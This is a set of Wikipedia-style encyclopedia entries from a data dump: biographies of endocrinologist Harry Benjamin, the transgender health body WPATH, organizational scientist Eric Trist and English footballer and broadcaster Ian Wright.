More on negative Poisson's ratio materials (auxetic)
Elasticity (physics)
Physical quantities
Dimensionless numbers
Materials science
Ratios
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241224 | https://en.wikipedia.org/wiki/Harry%20Benjamin | Harry Benjamin | Harry Benjamin (January 12, 1885 – August 24, 1986) was a German-American endocrinologist and sexologist, widely known for his clinical work with transgender people.
Early life and career
Benjamin was born in Berlin, and raised in a German Lutheran home. His mother was German and his father at least part-Jewish in ancestry. After premed education in Berlin and Rostock, he joined a regiment of the Prussian Guard. He received his doctorate in medicine in 1912 in Tübingen for a dissertation on tuberculosis. Sexual medicine interested him, but was not part of his medical studies. In a 1985 interview he recalled:
Benjamin visited the United States in 1913, to work with a quack doctor who claimed to have found a cure for tuberculosis. The liner in which Benjamin was returning to Germany was caught mid-Atlantic both by the outbreak of the First World War in 1914, and the Royal Navy. Given the choice of a British internment camp, as an "enemy alien", or returning to New York, he used his last dollars to travel back to America, where he made his home for the rest of his life. However, he maintained and built many international professional connections and visited Europe frequently when wars allowed.
After several failed attempts to start a medical career in New York, in 1915 Benjamin rented a consulting room, in which he also slept, and started his own general medical practice. Later he practiced in San Francisco in the summer of every year (at 450 Sutter Street, with many of his patients coming from the nearby Tenderloin neighborhood) and otherwise at 44 East 67th Street in New York.
Work with transgender people
In 1948, in San Francisco, Benjamin was asked by Alfred Kinsey, a fellow sexologist, to see a young patient who was anatomically male but insisted on being female. Kinsey had encountered the child as a result of his interviews for Sexual Behavior in the Human Male, which was published that year. This case rapidly caused Benjamin's interest in what he would come to call transsexualism, realizing that there was a different condition to that of transvestism, under which adults who had such needs had been classified to that time.
Despite the psychiatrists with whom Benjamin involved in the case not agreeing on a path of treatment, Benjamin eventually decided to treat the child with estrogen (Premarin, introduced in 1941), which had a "calming effect", and helped arrange for the mother and child to go to Germany, where surgery to assist the child could be performed but, from there, they ceased to maintain contact, to Benjamin's regret. However, Benjamin continued to refine his understanding and went on to treat several hundred patients with similar needs in a similar manner, often without accepting any payment.
Many of his patients were referred by David Cauldwell, Robert Stoller, and doctors in Denmark. These doctors received hundreds of requests from individuals who had read about their work connected with changing sex, as it was then largely described.
However, due to the personal political opinions of the American doctors and a Danish law prohibiting sex reassignment surgery on noncitizens, these doctors referred the letter-writers to the one doctor of the era who would aid transsexual individuals, Harry Benjamin. Benjamin conducted treatment with the assistance of carefully selected colleagues of various disciplines (such as psychiatrists C.L Ihlenfeld and John Alden, electrologist Martha Foss, and surgeons Jose Jesus Barbosa, Roberto C Granato, and Georges Burou).
Benjamin's patients regarded him as a man of immense caring, respect and kindness, and many kept in touch with him until his death. He was a prolific and assiduous correspondent, in both English and German, and many letters are archived at the Magnus Hirschfeld Archive for Sexology, Humboldt University, Berlin.
The legal, social and medical background to this in the United States, as in many other countries, was often a stark contrast, since wearing items of clothing associated with the opposite sex in public was often illegal, castration of a male was often illegal, anything seen as homosexuality was often persecuted or illegal, and many doctors considered all such people (including children) at best denied any affirmation of their gender identity, or involuntarily subjected to treatments such as drugged detention, electroconvulsive therapy, or lobotomy.
Though he had already published papers and lectured to professional audiences extensively, Benjamin's 1966 book, The Transsexual Phenomenon, was immensely important as the first large work describing and explaining the affirmative treatment path he pioneered. Publicity surrounding his patient Christine Jorgensen brought the issue into the mainstream in 1952 and led to a great many people presenting for assistance, internationally. In the preface of Christine Jorgensen's autobiography, Dr. Benjamin also gives Jorgensen credit for the advancement of his studies. He wrote, "Indeed Christine, without you, probably none of this would have happened; the grant, my publications, lectures, etc."
Similar cases in other countries (such as that of Roberta Cowell, whose surgery by Harold Gillies in England was in 1951 but was not publicised until 1954; Coccinelle who received much publicity in France in 1958, and April Ashley, whose exposure in 1961 by the British tabloid press was reported worldwide) fuelled this. But most of Benjamin's patients lived (and many still live) quiet lives.
Reed Erickson (1917–1992), a successful industrialist, sought treatment from Benjamin in 1963. Erickson was the founder and funder of the Erickson Educational Foundation, which published educational booklets, funded medical conferences, counselling services, and the establishment of gender clinics. The EEF funded the Harry Benjamin Foundation.
Other work and interests
Apart from endocrinology and sexology, he worked on life extension and would now also be described as a gerontologist. Benjamin himself lived to be 101.
Benjamin was married to Gretchen, to whom he dedicated his 1966 major work, for 60 years.
In 1979 the Harry Benjamin International Gender Dysphoria Association was formed, using Benjamin's name by permission. The group consists of therapists and psychologists who devised a set of Standards of Care (SOC) for the treatment of gender dysphoria, largely based on Benjamin's cases, and studies. It later changed its name to The World Professional Association for Transgender Health (WPATH).
Bibliography
The Sex Problem and the Armed Forces (1944) ASIN: B0056ASJFW
Introduction to Prostitution and Morality: a Definitive Report on the Prostitute in Contemporary Society and an Analysis of the Causes and Effects of the Suppression (Robert E.L. Masters, 1964) ASIN: B000WG6JF2
Introduction to Forbidden Sexual Behavior and Morality: An Objective Re-Examination of Perverse Sex Practices in Different Cultures (Robert E.L. Masters, 1964)
The Transsexual Phenomenon; a Scientific Report on Transsexualism and Sex Conversion in the Human Male and Female, (1966) ASIN: B0007HXA76
Introduction to Christine Jorgensen; Personal Autobiography (Christine Jorgenssen, 1967)
See also
Benjamin scale
List of transgender-related topics
Eugen Steinach
Second Serve
Notes
References
External links
The Transsexual Phenomenon; a Scientific Report on Transsexualism and Sex Conversion in the Human Male and Female online at the Magnus Hirschfeld Archive for Sexology, Humboldt University, Berlin which houses many items associated with Harry Benjamin.
A video tribute to Harry Benjamin by SexSmartFilms.com, an organization dedicated to the promotion of sexual literacy.
1885 births
1986 deaths
American centenarians
American sexologists
American people of German-Jewish descent
German centenarians
Men centenarians
German people of Jewish descent
German endocrinologists
German sexologists
Transgender studies academics
German emigrants to the United States
Transgender and medicine | [
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241225 | https://en.wikipedia.org/wiki/World%20Professional%20Association%20for%20Transgender%20Health | World Professional Association for Transgender Health | The World Professional Association for Transgender Health (WPATH), formerly the Harry Benjamin International Gender Dysphoria Association (HBIGDA), is a professional organization devoted to the understanding and treatment of gender dysphoria. Professionals include anyone working in disciplines such as medicine, psychology, law, social work, counseling, psychotherapy, family studies, sociology, anthropology, speech and voice therapy and sexology. Non-professionals may also join, paying the same membership fee, but without voting privileges. The organization is funded by its membership and by donations and grants from non-commercial sources.
The organization was originally named after Harry Benjamin, one of the earliest physicians to work with transgender people.
WPATH publishes the Standards of Care for the Health of Transsexual, Transgender, and Gender Nonconforming People, educates professionals and consumers, sponsors scientific conferences, and provides ethical guidelines for professionals. The first version of the Standards of Care were published in 1979. Version 7 was published in 2011.
Presidents
Paul A. Walker, Ph.D., 1979–1981
Donald R. Laub, M.D., 1981–1983
Milton T. Edgerton, M.D., 1983–1985
Ira B. Pauly, M.D., 1985–1987
Aaron T. Bilowitz, M.D., 1987–1989
Jan Walinder, M.D., 1989–1991
Leah Schaefer, Ed.D., 1991–1995
Friedmann Pfaefflin, M.D. 1995–1997
Richard Green, J.D., 1997–1999
Alice Webb, DHS, 1999
Eli Coleman, Ph.D., 1999–2003
Walter Meyer III, M.D., 2003–2005
Stan Monstrey, M.D., 2005–2007
Stephen Whittle, OBE, 2007–2009
Walter O.Bockting, Ph.D., L.P., 2009–2011
Lin Fraser, Ed.D., 2011–2013
Jamison Green, Ph.D., 2013–2015
Gail Knudson, M.D., FRCPC, 2016–2018
Vin Tangpricha, M.D., Ph.D., 2018–2020
Walter Pierre Bouman, M.D., Ph.D., 2020-2022
References
Transgender and medicine
International LGBT organizations
Transgender organizations
International medical and health organizations
Non-profit organizations based in Illinois
Organizations established in 1979
Transgender studies | [
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241228 | https://en.wikipedia.org/wiki/Eric%20Trist | Eric Trist | Eric Lansdown Trist (11 September 1909 – 4 June 1993) was an English scientist and leading figure in the field of organizational development (OD). He was one of the founders of the Tavistock Institute for Social Research in London.
Biography
Trist was born in 1909 in Dover, Kent, England of a Cornish father, Frederick Trist, and a Scottish mother, Alexina Trist nee Middleton. He grew up in Dover experiencing dramatic air raids in the first world war. He went to Cambridge University - Pembroke College in 1928, where he read English Literature, graduating with first-class honours. Influenced heavily by his don I. A. Richards he became interested in Psychology, Gestalt psychology, and Psychoanalysis, and went on to read psychology under Frederic Bartlett. At that time (1932/3) Trist has said he was very interested in articles by Kurt Lewin. When Kurt Lewin (who was Jewish) left Germany as Adolf Hitler came to power, he travelled to Palestine via the USA, stopping off in England, where Trist briefly met him and showed him around Cambridge.
Trist graduated in Psychology in 1933, with a distinction, and went to Yale University in the USA and again met Lewin, who was at Cornell University and then Iowa. He visited B. F. Skinner, a key figure in Behaviourism in Boston. After witnessing some disturbing experiences during the Depression, he became politically interested for the first time, and read Karl Marx.
Trist returned to the UK in 1935 with his first wife Virginia Traylor (b. 11 Sep 1909, m. 6 Jul 1935 Manhattan, New York) (a granddaughter of John Henry Traylor), her mother and sister. Trist met Oscar Adolph Oeser, who headed the psychology department at the University of St Andrews, Scotland, and went on to study unemployment in Dundee.
At the outbreak of the second world war Trist became a clinical psychologist at the Maudsley Hospital, London, treating war casualties from Dunkirk. He recalls how, in 1940, in the London blitz, "some very frightened people came out of their rooms, ran all over the grounds and we had to go and find them." The Maudsley, at Mill Hill, was a teaching hospital, and Trist attended seminars and met people from the Tavistock Clinic, whom he was keen to join. Opposed by his boss, Sir Aubrey Lewis, who wouldn't let him go, he joined the Tavistock group in the army, as a way of getting free, and was replaced by Hans Eysenck. Trist went to Edinburgh and worked on the War Office Selection Boards (WOSBs), with Jock Sutherland and Wilfred Bion. For the last two years of the war, Trist was chief psychologist at the Headquarters of the Civil Resettlement Units (CRUs) for repatriated prisoners of war, working to schemes devised by Tommy Wilson and Wilfred Bion. He described this as "probably the most exciting single experience of my professional life".
Following the death of his first wife and marriage to Beulah J. Varney (b. 1st quarter 1925, m. 2nd quarter 1959, Middlesex, England), in July 1966 Trist moved to America as Professor of Organizational Behavior and Social Ecology in the Graduate School of Business Administration at UCLA. In 1969 he joined Russell L. Ackoff in the Social Systems Science Program (S-cubed) at the Wharton School, the University of Pennsylvania. He taught there until 1978 when he became an emeritus professor. In that same year he joined the Faculty of Environmental Studies, York University, Toronto where he initiated a program in future studies and taught there until 1983.
In the 1990s Trist wrote a three-volume account of the Tavistock, along with Hugh Murray and Fred Emery, The Social Engagement of Social Science. He died on 4 June 1993 in Carmel, California. By his second wife, Beulah J. Varney, he had one son and one daughter.
Work
Influences of Kurt Lewin
Trist was heavily influenced by Kurt Lewin, whom he met first 1933 in Cambridge, England. Kurt Lewin had moved from studying behaviour to engineering its change, particularly in relation to racial and religious conflicts, inventing sensitivity training, a technique for making people more aware of the effect they have on others, which some claim as the beginning of political correctness.
This would later influence the direction of much of work at the Tavistock Institute, in the direction of management and, some would say, manipulation, rather than fundamental research into human behaviour and the psyche. It was a partnership between Trist's group at the Tavistock, and Lewin's at MIT that launched the Journal 'Human Relations' just before Lewin's death in 1947.
The Tavistock group
It was the wartime experiences of Trist and his various associates that created what became known as 'the Tavistock group', which formed a planning committee to meet and plan the future of the Tavistock after the war. The Tavistock Institute was formed, with Trist as deputy chairman, and Tommy Wilson as chairman, with a grant from the Rockefeller Foundation in February 1946, and a new Tavistock Clinic became part of the newly formed National Health Service. Many of the group went into formal Psychoanalytic training.
Trist was much influenced by Melanie Klein, who visited the Tavistock, as well as by his colleagues John Bowlby, Donald Winnicott, Wilfred Bion and Jock Sutherland. Though close to Wilfred Bion during the war, Trist later wrote that he was glad he did not join Bion at this point, because "he left groups in the 1950s – which flummoxed everybody – and got completely absorbed in psychoanalysis", adding, "that was when the cult of Bion – a wrong cult in my view – became established."
Trist and the Tavistock became involved in industrial projects until 1951, and was given the Lewin Award in 1951. The family discussion group was formed, and John Bowlby did his world-famous studies on mother-child separation and the establishment of family systems therapy. With cooperation and contributions from Kurt Lewin in the USA, the publication of Human Relations, the Tavistock Journal began, and Trist commented that this gave the Tavistock credibility in the USA, saying, "its articles wouldn't have been accepted by any of the other British psychological journals".
Organizational research
In 1949, his organizational research work, studying work crews in at Elsecar Collieries, with Ken Bamforth, resulted in the famous article, "Some Social and Psychological Consequences of the Longwall Method of Coal Getting." This article highlighted aspects of the miners organisation that today would be termed lean or agile.
Socio-technical systems
Trist also collaborated with Fred Emery on developing the socio-technical systems approach to work design.
Publications
Trist, E., and Bamforth, W., Some Social and Psychological Consequences of the Long Wall Method of Coal-Getting, ín: Human Relations, Vol. 4, 3-38, 1951.
Trist, E., and Sofer, C., Exploration in Group Relations, Leicester, Leicester University Press, 1959.
Emery F. and Trist E., The Causal Texture of Organizational Environments, in: Human Relations, Vol 18 (1) p21-32, 1965.
Emery F. and Trist E., Toward a Social Ecology, 1972.
Trist, Eric L. et al., The Social Engagement of Social Science: A Tavistock Anthology : The Socio-Ecological Perspective (Tavistock Anthology), University of Pennsylvania, May 1997.
See also
Isabel Menzies Lyth
Socio-analysis
References
External links
Tavistock homepage.
Eric Trist Biographical page.
The Foundation and Development of the Tavistock Institute to 1989 by Eric Trist and Hugh Murray.
Eric Trist works.
Eric Trist Papers.
1909 births
1993 deaths
British systems scientists
Systems psychologists
Alumni of Pembroke College, Cambridge
UCLA Anderson School of Management faculty
Wharton School of the University of Pennsylvania faculty
York University faculty
British Army personnel of World War II | [
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241230 | https://en.wikipedia.org/wiki/Ian%20Wright | Ian Wright | Ian Edward Wright (born 3 November 1963) is an English former professional footballer, and television and radio personality. He is currently a pundit for BBC Sport and ITV Sport.
Wright enjoyed success with London clubs Crystal Palace and Arsenal as a forward, spending six years with the former and seven years with the latter. With Arsenal he lifted the Premier League title, both the major domestic cup competitions, and the European Cup Winners Cup. Known for his speed, agility, finishing and aggression, he played 581 league games, scoring 287 goals for seven clubs in Scotland and England, while also earning 33 caps for the England national team, and scoring nine international goals.
Wright also played in the Premier League for West Ham United, the Scottish Premier League for Celtic and the Football League for Burnley and Nottingham Forest. , he is Arsenal's second-highest scorer of all time and Crystal Palace's third-highest.
After retiring, he has been active in the media, usually in football-related TV and radio shows. Two of his sons, Bradley and Shaun Wright-Phillips, are both professional footballers, the latter having retired.
Early life
Wright is the third son of Jamaican parents. His father was absent from a young age, and he was brought up by his mother, Nesta, and an abusive stepfather.
Wright came to professional football relatively late. Despite having had trials at Southend United and Brighton & Hove Albion during his teens, he was unable to attract sufficient interest to win a professional contract offer. Reverting to playing for amateur and non-League teams, he was left disillusioned about his chances of a career as a professional footballer.
After a spell of poverty during which his wife was expecting their first child, Wright spent two weeks in Chelmsford Prison for failing to pay fines for driving without tax or insurance. He recalls that after being locked in the cell, he burst into tears and vowed to God to do everything in his power to make it as a footballer.
Wright described his teacher Sydney Pigden as "the first positive male figure that I had in my life".
Club career
Crystal Palace
From being a teenager, until the age of 21, Wright played for Bermondsey-based amateur Sunday league club Ten-em-Bee (a club his sons Brett and Shaun also later played for). In 1985 Wright was signed by semi-professional Greenwich Borough and got paid £30 a week. After just six or seven matches, he was spotted by a Crystal Palace scout after a tip-off from Dulwich Hamlet manager Billy Smith and was invited for a trial at Selhurst Park. Having impressed then-manager Steve Coppell, he signed a professional contract for Crystal Palace in August 1985, just three months short of his 22nd birthday.
He quickly made his mark in his first season, scoring nine goals to finish as Palace's second-highest scorer. When Mark Bright arrived on the Palace scene the following year the duo soon established a successful striking partnership and it was largely their goals which took the club back to the top flight via the playoffs in 1989. Wright was particularly instrumental that season, scoring 24 goals in the Second Division and a grand total of 33 in all competitions.
Wright was called up for England B duty in December 1989 but a twice-cracked shin bone reduced his initial impact in the First Division. However, after recovering from the injury he made a dramatic appearance as a 'super-sub', in the 1990 FA Cup Final against Manchester United. He equalised for Palace a few minutes after coming onto the field forcing extra time, then putting them ahead in extra time. The eventual score was 3–3, but Palace lost the replay 1–0.
The next season, he gained full international honours, and reached a hundred goals for Crystal Palace, as the club finished in their highest ever league position of third place in the top flight. He also scored twice as Palace beat Everton to win the Full Members Cup at Wembley. Wright became renowned for his deadly striking ability, as shown when he scored a hat-trick in just eighteen minutes in Palace's penultimate game of the 1990–91 season away to Wimbledon.
Wright scored 117 goals in 253 starts and 24 substitute appearances over six seasons for The Eagles in all competitions, making him the club's record post-war goalscorer and third on the all-time list.
In 2005, he was voted into their Centenary XI and was named as their "Player of The Century".
Arsenal
Wright signed for Arsenal in September 1991 for £2.5m, which at the time was a club record fee. He scored on his debut against Leicester City in a League Cup tie, produced a hat-trick on his league debut against Southampton, and in the final match of the season, scored another hat-trick against the Saints to take his total to 31 goals in all competitions. Wright's 29 league goals (24 for Arsenal, 5 for Palace) were enough to make him the league's top scorer. , only Wright and Teddy Sheringham have led the top-flight scoring charts having scored for two clubs during the season in question.
Wright went on to be the club's top scorer for six seasons in a row. He played a major part in the club's success during the 1990s, winning an FA Cup and League Cup double in 1993; scoring in both the FA Cup Final itself and the replay against Sheffield Wednesday. Wright also helped Arsenal reach the 1994 European Cup Winners' Cup Final, although he was suspended for the final in which Arsenal beat Parma 1–0.
Wright scored in every round but the final of Arsenal's 1995 Cup Winners' Cup runners-up campaign, and scored freely in the Premier League, but it was a difficult time for Arsenal following the dismissal of manager George Graham over illegal payments, and under caretaker Stewart Houston they could only manage a 12th-place finish in the league.
The arrival of Bruce Rioch heralded a bleaker time; the two did not get on and eventually Wright handed in a transfer request which he later retracted. The arrival of Dennis Bergkamp brought a brief but fruitful striking partnership: in their first season together they helped Arsenal finish fifth in the league and qualify for the UEFA Cup. They also reached the League Cup semi-finals, in which they lost on away goals to eventual winners Aston Villa.
By the time Arsène Wenger arrived at Arsenal in September 1996, Wright was nearly 33. Despite his age, he continued to score regularly, and was the second-highest Premier League scorer in the 1996–97 season with 23 goals. That season he also set a record by scoring against 17 of Arsenal's 19 opponents, a record for a 20 team Premier League season; scoring against every team but Sunderland and Manchester United. However this was equalled by Robin van Persie in 2012. On 13 September 1997, he broke Cliff Bastin's club record of 178 to become Arsenal's all-time top scorer with a hat-trick against Bolton Wanderers, and his memorable goal celebration saw him reveal a shirt with "Just Done It" written on it. Wright's final goal at Highbury, on 4 October against Barnsley, was his 300th career goal for both Crystal Palace and Arsenal. He scored his final goal for the club on 6 January 1998 in a League Cup quarter-final victory against West Ham United at the Boleyn Ground. A hamstring injury ruled him out for much of the remainder of the season. In his absence, Arsenal were eliminated in the semi-final by Chelsea, ending their hopes of a domestic treble. He was an unused substitute as Arsenal won the 1998 FA Cup Final, and lifted his first Premier League title as the Gunners completed a league and cup double.
Wright scored 185 goals from 288 appearances (279 starts) for Arsenal, and scored eleven hat-tricks for them, a total surpassed only by Jimmy Brain and Jack Lambert. , he is Arsenal's second highest goalscorer of all time, behind Thierry Henry who broke his record in 2005. Wright placed fourth in a 2008 poll of fans conducted on the club's website to select the 50 Gunners Greatest Players.
Later career
In July 1998, Wright moved to West Ham United for £500,000. He spent fifteen months as a West Ham player, scoring the winner on his debut against Sheffield Wednesday, without reaching the same form he had at Arsenal. During his spell there he made headlines when he vandalised the referee's dressing room at Upton Park after being sent off during a match against Leeds United. He had subsequent short spells at Nottingham Forest, Celtic, and Burnley (whom he helped to promotion to Division One) before retiring in 2000.
Whilst at Celtic, Wright became involved in a campaign by some fans calling for the removal of manager, John Barnes. Celtic's performances had been poor. Wright, Barnes and Regi Blinker were considered by some to be not sufficiently talented to improve the club. Wright and Blinker were consequently abused by some Celtic fans. Wright said of the incidents, "I felt I was caught up in a war crisis in Kosovo not involved in a football result that wrecked John Barnes' career as Celtic manager." "Some so-called fans, a few morons who know nothing better, covered my car in spit, they were shouting obscenities at myself and Regi Blinker." Wright scored on his debut for Celtic as he had for Nottingham Forest. He finished his club career with 313 goals in all competitions.
International career
Wright was overlooked for the 1990 World Cup but was handed his England debut by manager Graham Taylor in February 1991.
He started in the 2–0 victory against Cameroon at Wembley and helped England reach the finals of Euro 1992 in Sweden. Despite the fact that his international career spanned eight years, 87 matches and three full-time managers, he only started 17 times and was a used substitute in 16 matches.
In each of the seven seasons that followed the 1990 World Cup, Wright never scored fewer than 23 goals a season for his club. He scored 25 goals for Crystal Palace during the 1990–91 campaign
before going on to break the 30 club-goal barrier five times in the following six seasons. Despite Wright's goalscoring feats, the highest number of games he started for England consecutively was three—something he only did twice.
Taylor, who became England manager after the 1990 World Cup in Italy and remained in charge for 38 matches, only handed Wright nine starts and seven substitute appearances. He opted instead to use a whole host of less prolific strikers, including Nigel Clough of Nottingham Forest, Paul Stewart of Tottenham Hotspur, David Hirst of Sheffield Wednesday and Brian Deane of Sheffield United. Wright did not make it into the squad for Euro 1992, with Clough, Gary Lineker of Tottenham Hotspur, Alan Shearer of Southampton and Arsenal teammates Alan Smith and Paul Merson preferred. This was particularly surprising as Wright had been the highest top division goalscorer in England that season.
Five of Wright's nine international goals were scored under Taylor's management; these included a vital late equaliser in a 1–1 away draw against Poland in May 1993 and four goals in the 7–1 away win against San Marino in Bologna, Italy, in November 1993, the final match of Taylor's reign as manager. Both matches were qualifiers for the 1994 World Cup in the US, for which England failed to qualify - missing out for the first time since 1978.
Terry Venables replaced Taylor as manager after the unsuccessful 1994 World Cup qualifying campaign but Wright's appearances in the side became even more limited. Despite featuring in four of the first five matches under Venables, albeit three times as a substitute, Wright never played under his management again. Ultimately, it cost Wright a place in the squad for Euro 1996, where England reached the semi-finals as the host nation. Venables vacated his position as England manager after the tournament and was replaced by Glenn Hoddle.
After being absent from international football for 21 consecutive matches, Wright was recalled to the England team by Hoddle in November 1996 when he came off the bench in a 2–0 1998 World Cup qualifying victory in Georgia. It had been over two years since Wright had made his previous England appearance in October 1994.
Four of Wright's nine international goals were scored under Hoddle's management, including the winner in a 2–1 friendly win against South Africa at Old Trafford in May 1997, and the opener a month later in a 2–0 victory over Italy in the Tournoi de France. England won the four-team tournament, staged as a warm-up event to the 1998 World Cup in France, which also included world champions Brazil as well as the hosts.
Wright went on to help England qualify for the 1998 World Cup by scoring two goals in the 4–0 qualifying campaign victory against Moldova at Wembley in September 1997, before producing arguably his best performance for his country in the vital 0–0 draw in Italy, a month later, which secured his country's passage through to the finals. He missed out on the finals through injury.
Following the 1998 World Cup, Wright went on to play a further two times for England as a West Ham United player. He came on as a substitute in the Euro 2000 qualifier in Luxembourg, a match England won 3–0 in October 1998. He made his final international appearance, a month later, in a friendly against the Czech Republic at Wembley. England won the match 2–0 and it also turned out to be Hoddle's final game as manager.
Wright started seven matches and was used as a substitute on six occasions under Hoddle, who was manager for 28 matches. He made his first appearance under Hoddle aged 33 and his final appearance under him aged 35. England went on to qualify for Euro 2000 in Belgium and the Netherlands, by which time, Wright was approaching his 37th birthday and retired from club football shortly after the tournament. Only Mick Channon played more times for England without being selected for a World Cup or European Championships squad. However, during Channon's England career, which spanned the years 1972–1977, England failed to qualify for either of these tournaments, while during Wright's they qualified for two European Championships and one World Cup.
Post-playing career
Ashford United
In March 2007, Wright was appointed Director of football strategy of Isthmian League team, Ashford Town, (now reformed as Ashford United) with him taking his place on the board of directors, following his purchase of a stake in the club.
Coaching career
On 18 May 2012, Wright was named as a first team coach at Milton Keynes Dons. He left the role in 2013.
Broadcasting career
Television
Wright began his television career as a guest host on Top of the Pops. He was later signed up by ITV to present his own chat show, Friday Night's All Wright, where he interviewed celebrities such as Elton John, Mariah Carey and Will Smith which ran for two seasons.
Since then, he has gone on to present programmes such as Friends Like These, I'd Do Anything, The National Lottery Wright Ticket and What Kids Really Think. He took over from David Seaman in Autumn 2004 as a team captain on BBC game show They Think It's All Over, which ran until 2006.
Wright has also starred in Men & Motors show Wright Across America, where he fulfils a lifelong dream to travel coast to coast across America on a Harley-Davidson motorbike, a show famous for Wright's rocky relationship with co-host and legendary custom bike builder Nicky Bootz.
He also starred in Ian Wright's Excellent Adventure in which he travels to Greenland with a friend, 'Mrs C' (Novello Noades, wife of former Crystal Palace chairman Ron Noades), to scale the highest mountain in the Arctic, Gunnbjørn.
Wright appeared as a "celebrity hijacker" in the television series Big Brother: Celebrity Hijack.
On 12 March 2008, Wright was confirmed as one of the presenters of the new series of the popular game show Gladiators.
Wright was a presenter on Channel 5's early evening magazine programme Live from Studio Five, from its launch in September 2009, to August 2010. He originally co-presented the show alongside, former model Melinda Messenger, and runner-up of The Apprentice, Kate Walsh.
After Messenger left, Wright continued to present the show, alongside Walsh, and new presenter Jayne Middlemiss. At the beginning of 12 August 2010 edition of Live from Studio Five, Walsh and Middlemiss announced that Wright would not be presenting the show that evening. At the end of the programme, they revealed that he had left the show, and would not be returning. Wright was also reported to be unhappy with other changes at the programme, such as its daily airtime being cut from 60 minutes to just 30 minutes.
During a radio interview with Absolute Radio, the day after he was axed, Wright stated that, "It's just been arguments for the last couple of weeks." Wright's contract was due to end in September 2010, but show bosses decided not to renew it. Wright made his final appearance on Wednesday 11 August's addition of Live from Studio Five. The show was axed in February 2011.
Wright presented Football Behind Bars, a reality TV series aired on Sky1 about his programme to socialise young men incarcerated at Portland Young Offenders Institution in Dorset by organising them in a football academy. The program was an experiment with the prison authority with an eye to expanding it to other prisons if it was successful. The series ran 6 episodes, aired weekly from 7 September to 12 October 2009.
Wright featured on an episode of BBC's 'Top Gear' in 2005, posting a 1.47.8 on the celebrity power lap times.
In November 2019, it was announced that Wright would be participating in the nineteenth series of I'm a Celebrity...Get Me Out of Here!.
In February 2021, it was announced that Wright would be hosting a new prime time game show for ITV called Moneyball.
Radio
Wright formerly co-hosted the drivetime slot (4–7 pm) Monday to Thursday on Talksport, with Adrian Durham.
In 2010 Wright joined Absolute Radio, hosting Rock 'N' Roll Football, post match analysis and chat on Saturdays from 5 till 7.
In August 2013, he joined Kelly Cates as the Sunday co-presenter on BBC Radio 5's 606 football phone-in programme.
Punditry
Since his retirement from football, Wright appeared as a pundit on BBC Sport's International Match of the Day and has been a pundit for the 2002 and 2006 World Cups and Euro 2004.
On 17 April 2008, Wright quit his job on Match of the Day and criticised the programme for using him as a "comedy jester", saying "Fans want people who are dressed like them. They've got no one to relate to on TV and that's why I've said to them I don't want to do the England games any more."
In 2013, he joined BT Sport as a studio analyst for their coverage of the Premier League, FA Cup, UEFA Champions League and UEFA Europa League. Since 2014, Wright has also been a regular studio pundit, along with Lee Dixon, for all England matches on ITV, and was one of the main studio pundits for their coverage of 2014 FIFA World Cup and Euro 2016.
Wright left BT Sport in 2017 to increase his role at the BBC, regularly appearing on Match of the Day and Match of the Day 2, as well as continuing to co-host the 606 phone in show on Sunday evenings alongside Kelly Cates. Wright also now co-hosts 5live Sport on a Monday evening alongside Mark Chapman on BBC Radio 5live. He also appears every Tuesday on The Debate on Sky Sports' Premier League channel, once again teaming up with Kelly Cates. Wright also appears regularly as one of the BBC's lead pundits for live games, regularly working with Gary Lineker and Alan Shearer.
Since October 2020 Wright has co-hosted his own podcast 'Wrighty's House' on The Ringer FC, with a rotating panel of guests including Musa Okwonga, Ryan Hunn, Jeanette Kwakye, Flo Lloyd-Hughes, Carl Anka and Mayowa Quadri.
Commercials
Wright has appeared in television commercials for the chicken sauce, Chicken Tonight, Nescafé and Ladbrokes along with Chris Kamara, Ally McCoist and former Arsenal teammate Lee Dixon. Wright appeared in an advertisement for the Wii console where he was seen playing Mario Strikers Charged and Wii Sports with his son Shaun. In his playing career, Wright was sponsored by the sportswear company Nike, and appeared in Nike commercials. In October 1992, Ian Wright featured on the first TV commercial for Nike in the UK, Nike "Kick it" was Nike first TV commercial for Football. In 1996, he starred in a Nike commercial titled "Good vs Evil" in a gladiatorial game set in a Roman amphitheatre. Appearing alongside football players from around the world, including Ronaldo, Eric Cantona, Luís Figo, Patrick Kluivert, Paolo Maldini and Jorge Campos, they defend "the beautiful game" against a team of demonic warriors, which culminates with Cantona striking the ball and destroying evil. In 1997 he starred in Nike's "Park Life" commercial (set to the tune "Parklife" by Blur) where a group of pub league players playing amateur football at Hackney Marshes in east London are suddenly joined by top Premier League footballers, including Wright, Cantona, David Seaman and Robbie Fowler. In 2000, "Park Life" was ranked number 15 in Channel 4's poll of the 100 Greatest TV Ads.
Writing
While he was still a professional footballer at Arsenal, Wright published his autobiography, Mr Wright. It was first published in hardback in 1996 by Collins Willow when Wright was still a professional player at Arsenal.
In 1993, Wright wrote and released a single called Do The Right Thing. The song was co-written and produced by Chris Lowe (of Pet Shop Boys) and reached No. 43 in the UK Singles Chart.
Wright is also a columnist for tabloid newspaper The Sun.
In 2016 Wright wrote a new and updated version of his autobiography entitled A Life in Football, published by Constable.
In 2021 Wright co-wrote his first novel with Musa Okwonga entitled Striking Out. The book is aimed at children and young people and is inspired by many issues that Wright himself dealt with while growing up as a young, black, working-class footballer in London.
Personal life
While young, Wright adopted the son of his then girlfriend Sharon Phillips (Shaun, born 1981) and had another child with her (Bradley, born 1985). They both went on to become professional footballers. He also had a son, Brett, with another girlfriend. Shaun and Bradley have both played for the New York Red Bulls, while Brett had a trial with Reading in September 2005 and played for their reserve team.
His son, Stacey is a keen rugby player and attended Whitgift School in Croydon.
Wright's cousin Jermaine Wright is also a former footballer. Ian's nephew Drey Wright is also a footballer. Ian's grandson D'Margio Wright-Phillips (born 2001), son of Ian's son Shaun, plays for Stoke City's Academy.
Wright's cousin is actor Patrick Robinson, best known for playing Martin "Ash" Ashford in the long-running British medical drama series Casualty on BBC One.
In June 2014, whilst Wright was in Brazil working as a pundit for the 2014 FIFA World Cup, his wife Nancy was held at knifepoint as a gang burgled their family home, whilst their children were upstairs. Wright flew back to England but later returned to Brazil, where he was a pundit on ITV for the Cameroon-Brazil match.
In 2016, Ian Wright had a meet-up with Sydney Pigden, whom he’d described as the first positive male figure in his life.
Awards
Shortly after his retirement from playing in 2000, Wright was awarded an MBE for his services to football.
Career statistics
Club
International
Honours
Crystal Palace
Football League Second Division play-offs: 1988–89
Full Members' Cup: 1990–91
Arsenal
Premier League: 1997–98
FA Cup: 1992–93, 1997–98
Football League Cup: 1992–93
European Cup Winners' Cup: 1993–94West Ham UnitedUEFA Intertoto Cup: 1999BurnleyFootball League Second Division runner-up: 1999–2000Individual'''
First Division Golden Boot: 1991–92
Crystal Palace Player of the Year: 1988–89
